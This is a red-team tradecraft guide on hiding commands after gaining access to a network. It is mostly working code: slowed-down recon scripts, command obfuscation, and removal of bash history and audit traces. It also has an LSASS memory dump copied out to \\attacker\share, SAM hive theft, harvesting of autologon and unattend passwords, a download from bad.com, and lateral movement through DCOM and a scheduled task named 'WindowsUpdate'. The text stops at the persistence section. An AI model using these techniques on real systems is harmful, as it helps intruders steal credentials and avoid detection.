Stay_low_Command

Command Execution OPSEC Guide

Silent Operations After Initial Access

📊 Visual Command Risk Assessment

Command Execution Risk Pipeline

graph TB
    A[Command Executed] --> B{Logging Layer}
    B -->|Process Creation| C[Event 4688/Sysmon 1]
    B -->|PowerShell| D[Script Block 4104]
    B -->|Command Line| E[CLI Logging]
    B -->|Audit Policy| F[Object Access/Privilege Use]
    
    C --> G{SIEM Analysis}
    D --> G
    E --> G
    F --> G
    
    G -->|Pattern Match| H[Known Bad Syntax]
    G -->|Behavioral| I[Unusual for User/System]
    G -->|Volume| J[Rapid Enumeration]
    
    H --> K[HIGH RISK ALERT]
    I --> L[MEDIUM RISK ALERT]
    J --> L
    
    style K fill:#ff0000
    style L fill:#ff9900

Command Choice Decision Tree

graph LR
    A[Need Information] --> B{What Info?}
    
    B -->|User/Group Info| C{Domain or Local?}
    C -->|Domain| D[LDAP Query vs net commands]
    C -->|Local| E[WMI vs net commands]
    
    B -->|Network Info| F{Active or Passive?}
    F -->|Active| G[Slow nmap vs ping sweep]
    F -->|Passive| H[Parse ARP/DNS cache]
    
    B -->|File Search| I{Targeted or Broad?}
    I -->|Targeted| J[Direct path access]
    I -->|Broad| K[Slow recursive search]
    
    B -->|Process Info| L[Get-Process vs tasklist]
    
    D --> M{Alert Risk}
    E --> M
    G --> M
    H --> M
    J --> M
    K --> M
    L --> M
    
    M -->|Low Risk| N[Execute with delays]
    M -->|Med Risk| O[Execute during business hours]
    M -->|High Risk| P[Reconsider necessity]
    
    style P fill:#ff0000
    style N fill:#00ff00

Command Obfuscation Levels

graph TD
    subgraph "Detection Difficulty"
        A[Plaintext Command] -->|Easy to Detect| B[Base64 Encoded]
        B -->|Moderate| C[Variable Concatenation]
        C -->|Harder| D[Character Substitution]
        D -->|Hard| E[Invoke-Expression Dynamic]
        E -->|Very Hard| F[Compiled Binary]
    end
    
    subgraph "EDR Detection Rate"
        A --> A1[~95% Detection]
        B --> B1[~85% Detection]
        C --> C1[~60% Detection]
        D --> D1[~40% Detection]
        E --> E1[~25% Detection]
        F --> F1[~10% Detection]
    end
    
    style A1 fill:#ff0000
    style B1 fill:#ff6600
    style C1 fill:#ff9900
    style D1 fill:#ffcc00
    style E1 fill:#99ff00
    style F1 fill:#00ff00

Command Timing Strategy

gantt
    title Command Execution Timing Strategy
    dateFormat HH:mm
    axisFormat %H:%M
    
    section Recon Phase
    Initial system info (safe)     :08:00, 5m
    Wait - blend in                :08:05, 25m
    User enumeration (1 cmd)       :08:30, 2m
    Wait                           :08:32, 28m
    Group enumeration (1 cmd)      :09:00, 2m
    
    section Discovery Phase
    Wait for business activity peak :09:02, 58m
    Network discovery (slow)        :10:00, 10m
    Wait                            :10:10, 50m
    Share enumeration (throttled)   :11:00, 15m
    
    section High-Risk Phase
    Wait for max activity           :11:15, 105m
    Credential access (RISKY)       :13:00, 5m
    Immediate exfil/move            :13:05, 10m
    Go silent                       :13:15, 45m

🎯 Core Principles: Command Execution OPSEC

The Golden Rules

Rule Why It Matters Violation Cost
1. Every command is logged somewhere Event 4688, Sysmon 1, PowerShell 4104, bash history Assume full command audit trail exists
2. Command-line arguments are the biggest tell More distinguishing than process name alone net user vs net user /domain - latter screams recon
3. Slow is invisible, fast is loud Velocity detection triggers on rapid commands 10 commands in 30 seconds = alert, 10 commands in 3 hours = noise
4. Native tools blend in, downloaded tools scream LOLBins expected, Mimikatz.exe not expected Running certutil.exe vs pwdump.exe
5. Read-only operations safer than write operations Enumeration < Modification < Execution Query registry < Write registry < Load driver
6. Use the same tools sysadmins use Legitimate admin tools expected in environment dsquery expected for IT, nltest from user account suspicious
7. Match the persona Developer running git OK, accountant running net view suspicious User behavior profiling is common
8. Avoid known red-team command patterns SIEMs have signatures for common recon sequences whoami && ipconfig && net user is textbook red team
9. Output redirection is better than screen display Logs show commands, not output; easier to control data command > output.txt vs letting output scroll
10. PowerShell is both your friend and enemy Powerful but heavily logged and monitored Know when to use PS vs cmd vs WMI vs .NET

🚨 What Gets Logged: Command Visibility Matrix

Windows Command Logging

Command Type Event 4688 Sysmon 1 PS ScriptBlock 4104 ETW Parent Process CLI Args Logged
cmd.exe /c <command> ✅ Yes ✅ Yes ❌ No ⚠️ Maybe ✅ Yes ✅ Yes (if enabled)
powershell.exe -c <command> ✅ Yes ✅ Yes ✅ Yes ✅ Yes ✅ Yes ✅ Yes
powershell.exe -enc <base64> ✅ Yes ✅ Yes ✅ Yes (decoded) ✅ Yes ✅ Yes ✅ Yes + decoded
wmic process call create ✅ Yes (spawned process) ✅ Yes ❌ No ⚠️ Maybe ⚠️ wmic.exe ✅ Yes
Direct .NET (C# compiled) ✅ Yes ✅ Yes ❌ No ⚠️ Maybe ✅ Yes ⚠️ Depends
WMI via PowerShell ✅ Yes ✅ Yes ✅ Yes ✅ Yes ✅ Yes ✅ Yes
Scheduled task execution ✅ Yes ✅ Yes ❌ No ⚠️ Maybe taskeng.exe ⚠️ Task definition logged
Service execution ✅ Yes ✅ Yes ❌ No ⚠️ Maybe services.exe ⚠️ Service creation logged

Linux Command Logging

Command Type bash history auditd syslog parent process sudo logged
Interactive shell command ✅ Yes ⚠️ If configured ⚠️ If configured ✅ Yes ⚠️ If sudo used
sudo <command> ✅ Yes ✅ Often ✅ Yes ✅ Yes ✅ Yes (auth.log)
Script execution (./script.sh) ✅ Yes ⚠️ If configured ⚠️ Maybe ✅ Yes ❌ No
SSH command (ssh user@host 'cmd') ❌ No (on source) ⚠️ If configured ✅ Connection logged ✅ Yes ⚠️ If sudo used
Cron job execution ❌ No ⚠️ If configured ⚠️ Maybe cron ❌ No

❌ NOISY COMMANDS → ✅ QUIET ALTERNATIVES

System Information

NOISY 🚨 Why It Alerts QUIET ALTERNATIVE 💡 Why It's Better
systeminfo Common recon command, specific output pattern Get-CimInstance Win32_OperatingSystem WMI queries expected, less distinctive
hostname Often first recon command in sequence $env:COMPUTERNAME or [System.Net.Dns]::GetHostName() Environment variable access, no process spawn
whoami /all Screams privilege enumeration [Security.Principal.WindowsIdentity]::GetCurrent() .NET call, less logged, same info
set (list env vars) Often used in recon scripts Get-ChildItem env: or [Environment]::GetEnvironmentVariables() PowerShell cmdlet or .NET, less suspicious
tasklist /v Process enumeration pattern Get-Process or Get-CimInstance Win32_Process Expected admin tool usage
query user Session enumeration Get-CimInstance Win32_LoggedOnUser or qwinsta WMI query less distinctive, qwinsta legitimate

Example - Silent System Info:

# NOISY: systeminfo
# QUIET:
$os = Get-CimInstance Win32_OperatingSystem
$cs = Get-CimInstance Win32_ComputerSystem
[PSCustomObject]@{
    Hostname = $env:COMPUTERNAME
    OS = $os.Caption
    Version = $os.Version
    Architecture = $os.OSArchitecture
    InstallDate = $os.InstallDate
    LastBoot = $os.LastBootUpTime
    Domain = $cs.Domain
    User = [Security.Principal.WindowsIdentity]::GetCurrent().Name
} | Format-List

User & Group Enumeration

NOISY 🚨 Why It Alerts QUIET ALTERNATIVE 💡 Why It's Better
net user Classic recon, known command signature Get-LocalUser PowerShell cmdlet, more granular
net user /domain HIGH ALERT - domain recon indicator Get-ADUser -Filter * -Properties * (with throttling) Legitimate AD admin tool, but throttle heavily
net localgroup administrators Privilege group enumeration Get-LocalGroupMember -Group "Administrators" PowerShell cmdlet, specific query
net group "domain admins" /domain HIGH ALERT - targeting privileged accounts LDAP query: ([adsisearcher]"(&(objectCategory=group)(name=Domain Admins))").FindOne() Direct LDAP, less distinctive pattern
net accounts /domain Password policy enumeration Get-ADDefaultDomainPasswordPolicy Legitimate AD cmdlet
whoami /groups Token/privilege enumeration [Security.Principal.WindowsIdentity]::GetCurrent().Groups .NET call, same info, less process creation

Example - Silent Domain User Enum:

# NOISY: net user /domain
# QUIET (but still THROTTLE - 1 query per 2-5 minutes):
$searcher = [adsisearcher]"(&(objectCategory=person)(objectClass=user))"
$searcher.PageSize = 100
$searcher.PropertiesToLoad.AddRange(@("samaccountname","displayname","description","lastlogon"))
$users = $searcher.FindAll()

# Process slowly
foreach ($user in $users) {
    [PSCustomObject]@{
        Username = $user.Properties["samaccountname"][0]
        DisplayName = $user.Properties["displayname"][0]
        Description = $user.Properties["description"][0]
        LastLogon = [DateTime]::FromFileTime([Int64]$user.Properties["lastlogon"][0])
    }
    Start-Sleep -Seconds 120  # 2 minute delay between processing
}

Network Enumeration

NOISY 🚨 Why It Alerts QUIET ALTERNATIVE 💡 Why It's Better
ipconfig /all Common first recon command Get-NetIPConfiguration or Get-NetIPAddress PowerShell cmdlet, more selective
arp -a Network neighbor discovery Get-NetNeighbor PowerShell cmdlet, same info
route print Routing table enumeration Get-NetRoute PowerShell cmdlet
nslookup <domain> DNS queries Resolve-DnsName <domain> PowerShell cmdlet, more control
ping <target> (sweep) HIGH ALERT if sweeping range Parse ARP cache first, or slow ping (1 per 5 min) Passive recon avoids network alerts
nbtstat -A <ip> NetBIOS enumeration Get-CimInstance -ComputerName <ip> Win32_ComputerSystem (if accessible) WMI query, less distinctive
net view SMB share enumeration Get-SmbShare -CimSession <computer> PowerShell cmdlet, targeted
net view /domain Domain enumeration LDAP query for computer objects Direct LDAP less noisy
nltest /dclist:<domain> DC enumeration [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers .NET call, no process spawn
nmap (any aggressive scan) CRITICAL ALERT - IDS/IPS detection Slow nmap with -T1 or -T2, --scan-delay 60s Slow scan avoids velocity detection, or parse existing data

Example - Silent Network Discovery:

# NOISY: ping sweep of 192.168.1.1-254
# QUIET: Parse ARP cache first (passive)

# Get existing known hosts from ARP cache
$arp = Get-NetNeighbor | Where-Object {$_.State -ne "Unreachable"} | 
    Select-Object IPAddress, LinkLayerAddress, State

# Get DHCP leases if accessible (requires admin on DHCP server)
# Get-DhcpServerv4Lease -ComputerName <dhcp-server>

# Get DNS records (if you have DNS server access)
# Get-DnsServerResourceRecord -ZoneName "domain.local" -ComputerName <dns-server>

# If you MUST actively scan, do it extremely slowly:
$subnet = "192.168.1"
1..254 | ForEach-Object {
    $ip = "$subnet.$_"
    Start-Sleep -Seconds (Get-Random -Minimum 300 -Maximum 600)  # 5-10 min between pings
    Test-Connection -ComputerName $ip -Count 1 -Quiet
}

File & Share Discovery

NOISY 🚨 Why It Alerts QUIET ALTERNATIVE 💡 Why It's Better
dir C:\ /s /b HIGH ALERT - recursive full drive scan Targeted path access: Get-ChildItem C:\Users\*\Documents\*.xlsx Specific file types, specific paths, less volume
tree C:\ /f Full directory tree listing Targeted search with depth limit: Get-ChildItem -Path C:\Important -Recurse -Depth 2 Limited scope, less I/O
net share Share enumeration Get-SmbShare PowerShell cmdlet
net use \\host\share SMB connection (logged) New-PSDrive -Name "Z" -PSProvider FileSystem -Root "\\host\share" -Credential $cred PowerShell drive mapping, more control
find "password" (recursive) HIGH ALERT - keyword search for credentials Targeted: Select-String -Path C:\Backups\*.txt -Pattern "password" -SimpleMatch Specific path, specific extension, less broad
dir \\*\C$ (enumerate C$ shares) HIGH ALERT - lateral movement indicator Targeted specific host access only when necessary Avoid broad enumeration
vssadmin list shadows Ransomware/backup access indicator Read-only if necessary: Get-CimInstance Win32_ShadowCopy WMI query, read-only

Example - Silent File Search:

# NOISY: find all .xlsx files on C:\
# QUIET: Targeted search with throttling

$targets = @(
    "C:\Users\*\Documents",
    "C:\Users\*\Desktop",
    "C:\Shares\Finance"
)

$extensions = @("*.xlsx", "*.docx", "*.txt")

foreach ($path in $targets) {
    if (Test-Path $path) {
        foreach ($ext in $extensions) {
            Get-ChildItem -Path $path -Filter $ext -Recurse -Depth 2 -ErrorAction SilentlyContinue |
                Where-Object {$_.Length -lt 10MB} |  # Avoid huge files (DB dumps, etc.)
                Select-Object FullName, Length, LastWriteTime
            
            Start-Sleep -Seconds 60  # 1 min delay between extension searches
        }
    }
    Start-Sleep -Seconds 300  # 5 min delay between path searches
}

Process & Service Information

NOISY 🚨 Why It Alerts QUIET ALTERNATIVE 💡 Why It's Better
tasklist /v Process enumeration Get-Process PowerShell cmdlet, more selective
tasklist /svc Service to process mapping Get-CimInstance Win32_Service WMI query, same info
wmic process list full MEDIUM ALERT - full process dump `Get-CimInstance Win32_Process Select-Object Name, ProcessId, CommandLine`
sc query (all services) Service enumeration Get-Service or Get-CimInstance Win32_Service PowerShell cmdlet
netstat -ano Network connection enumeration Get-NetTCPConnection PowerShell cmdlet, more filtering
wmic process where name="lsass.exe" get processid CRITICAL ALERT - targeting LSASS Don't query LSASS specifically unless you must; use Get-Process lsass at most Any LSASS query is suspicious

Example - Silent Service Enumeration:

# NOISY: sc query > services.txt
# QUIET:
Get-CimInstance Win32_Service | 
    Where-Object {$_.StartMode -eq "Auto" -and $_.State -eq "Running"} |
    Select-Object Name, DisplayName, PathName, StartName |
    # Look for services running as SYSTEM with writable paths (priv esc)
    Where-Object {$_.StartName -eq "LocalSystem"} |
    Format-Table -AutoSize

PowerShell-Specific OPSEC

EXTREMELY NOISY PowerShell Patterns:

Pattern Why It's Detected Signature
-encodedCommand Obfuscation indicator, decoded in logs Event 4104 logs decoded command
-nop -w hidden -enc Classic malicious PS pattern SIEM signatures, behavioral detection
Invoke-Expression (IEX) with download Dynamic code execution from web Network + PS logging correlation
DownloadString / DownloadFile Web download in PowerShell Known malware pattern
Start-Process -WindowStyle Hidden Hidden execution indicator Behavioral alert
Bypass -ExecutionPolicy Policy bypass attempt Logged in 4104
Known recon cmdlets in sequence Get-AD* commands in rapid succession Velocity detection, known recon pattern
AMSI bypass strings [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') Signature in Script Block Logging
Base64 decode + IEX [System.Text.Encoding]::UTF8.GetStringFromBase64String(...) Known pattern

QUIETER PowerShell Approaches:

Technique How It's Quieter Example
Direct .NET calls instead of cmdlets No PowerShell cmdlet logging, direct CLR [System.IO.File]::ReadAllText("C:\file.txt") vs Get-Content
CIM cmdlets vs WMI cmdlets CIM is newer, less logged historically Get-CimInstance vs Get-WmiObject
Compile C# instead of PS script No script block logging, only process creation Add-Type -TypeDefinition $code; [MyClass]::Method()
Use Jobs for async execution Separate process, different logging context Start-Job -ScriptBlock {...}
Avoid pipeline where possible Less cmdlet chaining = less logging Direct .NET vs `Get-*
Use native .NET serialization for data Avoid ConvertTo-Json, Export-Csv [System.Runtime.Serialization.Json.DataContractJsonSerializer]
Module import via reflection Avoid Import-Module logging [Reflection.Assembly]::Load($bytes)

Example - Avoiding PowerShell Logging:

# NOISY: Download and execute with IEX
# IEX (New-Object Net.WebClient).DownloadString('http://bad.com/script.ps1')

# QUIETER: Compile C# on target, execute in memory
$code = @"
using System;
using System.Net;
public class Downloader {
    public static void Main() {
        WebClient wc = new WebClient();
        string result = wc.DownloadString("http://bad.com/data.txt");
        // Process result here (not just Execute)
        Console.WriteLine(result);
    }
}
"@

Add-Type -TypeDefinition $code -Language CSharp
[Downloader]::Main()

# EVEN QUIETER: Use runspace instead of script blocks
$rs = [runspacefactory]::CreateRunspace()
$rs.Open()
$ps = [powershell]::Create()
$ps.Runspace = $rs
$ps.AddScript({
    # Your code here - runs in separate runspace with different logging context
}).Invoke()
$rs.Close()

Credential Access Commands

EXTREMELY NOISY 🚨 Why It's Detected QUIETER ALTERNATIVE 💡 Notes
mimikatz.exe Signature, behavior, LSASS access Don't use Mimikatz binary; use alternatives See EDR evasion doc
procdump -ma lsass.exe LSASS access comsvcs.dll MiniDump method (still risky) rundll32 C:\windows\System32\comsvcs.dll, MiniDump <pid> dump.bin full
reg save HKLM\SAM sam.save Registry hive export Copy if accessible, but still logged Requires SYSTEM, logged via Event 4663
vaultcmd /list Credential vault access Use if necessary, but rare legitimate use Lightweight, but suspicious context
cmdkey /list Stored credential enumeration Acceptable - relatively common for admins Less noisy than vaultcmd
Get-GPPPassword GPP password extraction Fine to use, but finding GPP passwords is loud (LDAP query pattern) Throttle SYSVOL searches

Example - Credential Discovery (Quieter Methods):

# Instead of running Mimikatz, look for alternative cred sources:

# 1. Stored credentials in Windows Credential Manager (less noisy)
cmdkey /list

# 2. Registry autologon credentials (quiet, no special privileges)
$autologon = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -ErrorAction SilentlyContinue
if ($autologon.DefaultUserName) {
    [PSCustomObject]@{
        Username = $autologon.DefaultUserName
        Password = $autologon.DefaultPassword
        Domain = $autologon.DefaultDomainName
    }
}

# 3. Search for unattend.xml files (often contain local admin password)
$paths = @(
    "C:\Windows\Panther\Unattend.xml",
    "C:\Windows\Panther\Unattend\Unattend.xml",
    "C:\Windows\System32\Sysprep\Unattend.xml"
)
foreach ($path in $paths) {
    if (Test-Path $path) {
        [xml]$unattend = Get-Content $path
        $unattend.unattend.settings.component.UserAccounts.LocalAccounts.LocalAccount | 
            Select-Object Name, @{Name="Password";Expression={$_.Password.Value}}
    }
}

# 4. Kerberos tickets (can extract without LSASS access)
# Use Rubeus.exe or similar, but even this is getting signatured
# Quieter: Extract from memory of your own process (if you have valid TGT)

🎭 Obfuscation Techniques: Command-Line Level

Basic Obfuscation (Moderate Evasion)

String Concatenation:

# Instead of: whoami
$a="who"; $b="ami"; iex "$a$b"

# Instead of: Get-Process
$cmd = "Get-" + "Process"
Invoke-Expression $cmd

Character Substitution:

# Using backticks (escape characters)
w`ho`am`i

# Using carets in cmd.exe
w^h^o^a^m^i

Variable Expansion:

# Instead of: net user /domain
$cmd = "net"
$arg1 = "user"
$arg2 = "/domain"
& $cmd $arg1 $arg2

Environment Variable Abuse:

# cmd.exe - using substrings of environment variables
%COMSPEC:~0,1%%COMSPEC:~0,1%hoami
:: Results in: cchoami (broken, but principle applies)

# Better: Use ProgramData path mangling
%ProgramData:~0,1%:\Windows\System32\whoami.exe

Advanced Obfuscation (Higher Evasion)

Invoke-Obfuscation (PowerShell):

# Token obfuscation
${e`Nv:pR`OG`RaMF`il`es}

# String obfuscation with format operator
"{1}{0}" -f 'oami','wh'  # Results in: whoami

# Encoding obfuscation
[char[]](119,104,111,97,109,105) -join ''  # Results in: whoami

# Base64 (but decoded in logs!)
$enc = [Convert]::ToBase64StringUnicode.GetBytes('whoami')
powershell -enc $enc

# Advanced: Invoke-Obfuscation framework
# https://github.com/danielbohannon/Invoke-Obfuscation
# Multiple layers: Token, AST, String, Encoding, Launcher

Binary Alternative:

# Instead of running PowerShell commands, compile to C# executable
# No script block logging, only process creation logged

Add-Type -TypeDefinition @"
using System;
using System.Security.Principal;
public class Info {
    public static void Main() {
        Console.WriteLine(WindowsIdentity.GetCurrent().Name);
    }
}
"@ -OutputAssembly C:\Windows\Temp\info.exe -OutputType ConsoleApplication

C:\Windows\Temp\info.exe  # Runs compiled code, no PS logging

Linux Shell Obfuscation

Basic Evasion:

# Instead of: whoami
w'ho'am'i'
w"ho"am"i"
\w\h\o\a\m\i

# Variable substitution
cmd="whoami"
$cmd

# Command substitution
$(echo whoami)
`echo whoami`

# Hex encoding
echo -e "\x77\x68\x6f\x61\x6d\x69"  # Outputs: whoami

# Base64
echo d2hvYW1p | base64 -d | bash

Advanced Evasion:

# Using eval with dynamic construction
cmd=$(echo -e "\x77\x68\x6f\x61\x6d\x69")
eval $cmd

# Reverse string
rev <<< "imaohw"  # Outputs: whoami (then execute)

# Array-based construction
declare -a arr=("w" "h" "o" "a" "m" "i")
$(IFS=; echo "${arr[*]}")

# Readline manipulation (avoids history)
HISTFILE=/dev/null whoami

📋 Command Execution Checklist: Before Running Any Command

PRE-EXECUTION CHECKLIST:
[ ] Is this command necessary, or can I infer the information?
[ ] Is there a quieter alternative (WMI/CIM vs net commands)?
[ ] Have I checked what logs this command will generate?
    [ ] Event 4688 / Sysmon 1 (process creation)
    [ ] PowerShell Script Block 4104
    [ ] Command-line argument logging enabled?
[ ] Is the command-line argument going to be distinctive/suspicious?
    [ ] Does it contain recon keywords (domain, administrator, password)?
[ ] Can I use direct .NET/WMI instead of spawning process?
[ ] Am I running this during business hours (Tue-Thu, 10AM-2PM)?
[ ] Have I spaced this command appropriately from last command? (2-5 min minimum)
[ ] Does this command fit the user persona I'm impersonating?
    [ ] Developer running git/docker: OK
    [ ] Accountant running nltest: Suspicious
[ ] If enumeration: Am I throttling? (1 query per 2-5 minutes)
[ ] If writing to disk: Is the file path suspicious? (C:\Windows\Temp\evil.exe: Yes)
[ ] Do I have a legitimate cover story for this command?
[ ] Can this command trigger behavioral alerts?
    [ ] Rapid enumeration pattern
    [ ] Known red-team command sequence
    [ ] LSASS/credential access
    [ ] Lateral movement indicators

If you answer "No" or "Unsure" to any critical item: STOP and find a quieter method.


🔇 Silent Command Patterns: By Objective

Objective: "I need to know what privileges I have"

NOISY QUIET
whoami /all [Security.Principal.WindowsIdentity]::GetCurrent().Groups | Where-Object {$_.Translate([Security.Principal.NTAccount])}
whoami /priv [Security.Principal.WindowsIdentity]::GetCurrent().Groups | Where-Object {$_.Value -like "*-544"} (check for Admins group)

Objective: "I need to find domain controllers"

NOISY QUIET
nltest /dclist:domain.com [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | Select-Object Name
net group "Domain Controllers" /domain ([adsisearcher]"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))").FindAll()

Objective: "I need to find where admins are logged in"

NOISY QUIET
net session \\DC01 (enumerate all machines) Target specific high-value hosts only: Get-CimInstance Win32_LoggedOnUser -ComputerName DC01
PowerView's Invoke-UserHunter Manual LDAP + selective WMI queries with 5+ min delays between hosts

Objective: "I need to find sensitive files"

NOISY QUIET
dir C:\ /s /b | findstr /i password Targeted search: Get-ChildItem -Path C:\Users\*\Documents -Include *.xlsx,*.docx -Recurse -Depth 2
Recursive search of entire drive Search known sensitive paths only (Documents, Desktop, specific shares)

Objective: "I need to check AV/EDR status"

NOISY QUIET
Get-MpComputerStatus (Defender-specific, obvious intent) Get-CimInstance -Namespace root\SecurityCenter2 -ClassName AntivirusProduct (generic query)
wmic /namespace:\\root\securitycenter2 path antivirusproduct get * Use Get-CimInstance as above, less distinctive

Objective: "I need to understand network topology"

NOISY QUIET
nmap -sS 192.168.1.0/24 Parse existing ARP cache: Get-NetNeighbor, DNS cache: Get-DnsClientCache, DHCP leases if accessible
ping sweep 1-254 Passive network traffic analysis (if you have packet capture capability)

🐧 Linux Command OPSEC

Silent Linux Enumeration

NOISY QUIET
cat /etc/passwd OK to use, but avoid piping to grep for users with shell; instead: awk -F: '$7 ~ /bash|sh$/ {print $1}' /etc/passwd
sudo -l Fine to use, but logged in auth.log/secure; no quieter alternative
find / -perm -4000 (SUID search) Throttle or target: find /usr -perm -4000 2>/dev/null (specific paths, suppress errors)
ps aux | grep root ps -u root -o pid,cmd (more targeted)
netstat -tulpn ss -tulpn (newer, faster, less logged historically)
history Clear often: history -c; rm ~/.bash_history; ln -s /dev/null ~/.bash_history

Avoiding Bash History

# Method 1: Prepend space (if HISTCONTROL=ignorespace)
 whoami  # Note the leading space

# Method 2: Disable history for session
unset HISTFILE

# Method 3: Use subshell
bash --norc --noprofile
# Your commands here (not logged to parent shell history)
exit

# Method 4: Execute commands without storing
cat <<EOF | bash
whoami
id
hostname
EOF

# Method 5: Direct to /dev/null
export HISTFILE=/dev/null

# Method 6: Clear history after operations
history -c && rm ~/.bash_history && ln -s /dev/null ~/.bash_history

Avoiding auditd Logs

# Check if auditd is running
systemctl status auditd

# Identify watched paths/syscalls
auditctl -l

# If you have root: Disable auditd (VERY NOISY - triggers alert)
# service auditd stop  # DON'T DO unless you must

# Better: Work around monitored syscalls
# If execve is monitored, use direct syscall from C program (advanced)
# If file access is monitored, avoid touching those specific files

# Example: If /etc/shadow is watched, don't read directly
# Instead: Dump SAM equivalent if Windows, or find alternative cred source

⏱️ Timing & Throttling: The Most Important OPSEC

Velocity Detection Thresholds

Activity Type Detection Threshold Safe Timing
Domain user enumeration 10+ LDAP queries in <2 min 1 query per 2-5 minutes
LDAP queries (general) 50+ queries in <5 min 1 query per 2 minutes
File system enumeration 100+ files accessed in <1 min 10-20 files per minute max
Network connections 10+ new connections in <1 min 1 connection per 2-5 minutes
Process enumeration Rapid repeated queries Once per hour, or on-demand only
SMB share access 5+ shares in <1 min 1 share per 5 minutes
Failed authentication attempts 3+ failures in <10 min 2 max, then STOP
Service/scheduled task creation Multiple in <5 min 1 per hour, during business hours
# WRONG: Rapid-fire enumeration
whoami
hostname
ipconfig /all
net user /domain
net group "domain admins" /domain
net view /domain
# ^^ This triggers velocity detection within seconds

# RIGHT: Throttled enumeration with natural pauses
whoami
Start-Sleep -Seconds (Get-Random -Minimum 120 -Maximum 300)  # 2-5 min

$env:COMPUTERNAME
Start-Sleep -Seconds (Get-Random -Minimum 180 -Maximum 420)  # 3-7 min

Get-NetIPConfiguration
Start-Sleep -Seconds (Get-Random -Minimum 240 -Maximum 480)  # 4-8 min

# Domain queries are HIGH RISK - space out even more
([adsisearcher]"(&(objectCategory=person)(objectClass=user))").FindAll() | Select -First 10
Start-Sleep -Seconds 600  # 10 minute wait before next domain query

Jitter Implementation

# Add randomness to avoid pattern detection
function Invoke-CommandWithJitter {
    param(
        [scriptblock]$Command,
        [int]$MinDelay = 120,
        [int]$MaxDelay = 300
    )
    
    & $Command
    $delay = Get-Random -Minimum $MinDelay -Maximum $MaxDelay
    Write-Verbose "Waiting $delay seconds..."
    Start-Sleep -Seconds $delay
}

# Usage:
Invoke-CommandWithJitter -Command { whoami }
Invoke-CommandWithJitter -Command { Get-NetIPConfiguration } -MinDelay 180 -MaxDelay 420

🎯 Command Execution by Phase

Phase 1: Initial Reconnaissance (First 30 Minutes)

Goal: Understand where you are, minimize footprint

# ONLY run essential commands, with delays

# 1. Who am I? (Low risk)
[Security.Principal.WindowsIdentity]::GetCurrent().Name

# WAIT 5 minutes (simulate user reading emails, browsing)
Start-Sleep -Seconds 300

# 2. Where am I? (Low risk)
$env:COMPUTERNAME
Get-CimInstance Win32_ComputerSystem | Select Name, Domain, DomainRole

# WAIT 10 minutes
Start-Sleep -Seconds 600

# 3. What can I see locally? (Low risk)
Get-LocalUser
Get-LocalGroupMember -Group "Administrators"

# WAIT 15 minutes - DO NOT rush to domain enumeration
Start-Sleep -Seconds 900

# 4. Network info (Low risk)
Get-NetIPConfiguration | Select InterfaceAlias, IPv4Address, IPv4DefaultGateway

# STOP HERE for Phase 1 - Don't enumerate domain yet
# Let the session "age" for 1-2 hours before domain recon

Phase 2: Domain Reconnaissance (After 1-2 Hours)

Goal: Understand AD environment, identify targets

# Now that session has aged, start domain queries (SLOWLY)

# 1. Find domain controllers (Medium risk)
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | Select Name

# WAIT 10 minutes
Start-Sleep -Seconds 600

# 2. Enumerate domain users (HIGH RISK - throttle heavily)
$searcher = [adsisearcher]"(&(objectCategory=person)(objectClass=user))"
$searcher.PageSize = 50
$users = $searcher.FindAll()

# Process only 10 users, then WAIT
$users | Select-Object -First 10 | ForEach-Object {
    $_.Properties["samaccountname"][0]
}

# WAIT 30 minutes before continuing
Start-Sleep -Seconds 1800

# 3. Find privileged groups (HIGH RISK)
([adsisearcher]"(&(objectCategory=group)(name=Domain Admins))").FindOne().Properties["member"]

# WAIT 20 minutes
Start-Sleep -Seconds 1200

# 4. Identify target systems (Medium risk)
([adsisearcher]"(&(objectCategory=computer)(operatingSystem=*Server*))").FindAll() | 
    Select-Object -First 5 -ExpandProperty Properties | 
    ForEach-Object { $_["dnshostname"][0] }

# STOP for several hours - analyze data offline before next phase

Phase 3: Targeted Access (Next Day or After Long Wait)

Goal: Access specific targets, escalate privileges

# After analyzing recon data offline, target specific systems

# 1. Test access to high-value target
Test-Connection -ComputerName DC01 -Count 1 -Quiet

# WAIT 15 minutes
Start-Sleep -Seconds 900

# 2. WinRM to target (if accessible)
Enter-PSSession -ComputerName FileServer01 -Credential $cred

# Inside remote session, run MINIMAL commands
# Get-LocalUser
# Get-ChildItem C:\Shares\Finance
# Exit

# WAIT 1+ hours before next access attempt

🔒 High-Risk Command OPSEC

If You MUST Run High-Risk Commands

Some commands are inherently risky but sometimes necessary. Here's how to minimize detection:

1. Credential Dumping:

# If you MUST dump credentials:

# Option A: Use comsvcs.dll (still risky, but no Mimikatz signature)
# Requires: Admin/SYSTEM, will trigger LSASS access alert
$lsassPID = (Get-Process lsass).Id
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $lsassPID C:\Windows\Temp\lsass.dmp full

# Move file immediately, analyze offline
Move-Item C:\Windows\Temp\lsass.dmp \\attacker\share\lsass.dmp
Remove-Item C:\Windows\Temp\lsass.dmp -Force

# Option B: DCSync (requires replication rights, HIGH RISK)
# Use Mimikatz/Impacket, but from expected admin workstation during maintenance window
# Ensure source IP matches normal admin patterns

# Option C: Extract from offline sources (QUIETER)
# SAM/SYSTEM hive if you have SYSTEM access
reg save HKLM\SAM C:\Windows\Temp\sam.hive
reg save HKLM\SYSTEM C:\Windows\Temp\system.hive
# Exfil and parse offline with Impacket secretsdump

2. Lateral Movement:

# RISKY: PsExec, but sometimes required

# Use legitimate remote management instead:
# Option A: WinRM (if enabled)
Enter-PSSession -ComputerName TARGET -Credential $cred

# Option B: DCOM (less logged)
$com = [Activator]::CreateInstanceGetTypeFromProgID("MMC20.Application","TARGET")
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c <command>","Minimized")

# Option C: Scheduled task (delayed execution, less immediate correlation)
$action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c <command>"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(30)
Register-ScheduledTask -TaskName "WindowsUpdate" -Action $action -Trigger $trigger -ComputerName TARGET

# WAIT 30+ minutes for task to execute

3. Persistence Installation:

# If you MUST persist, do it during business hours with legitimate-looking names

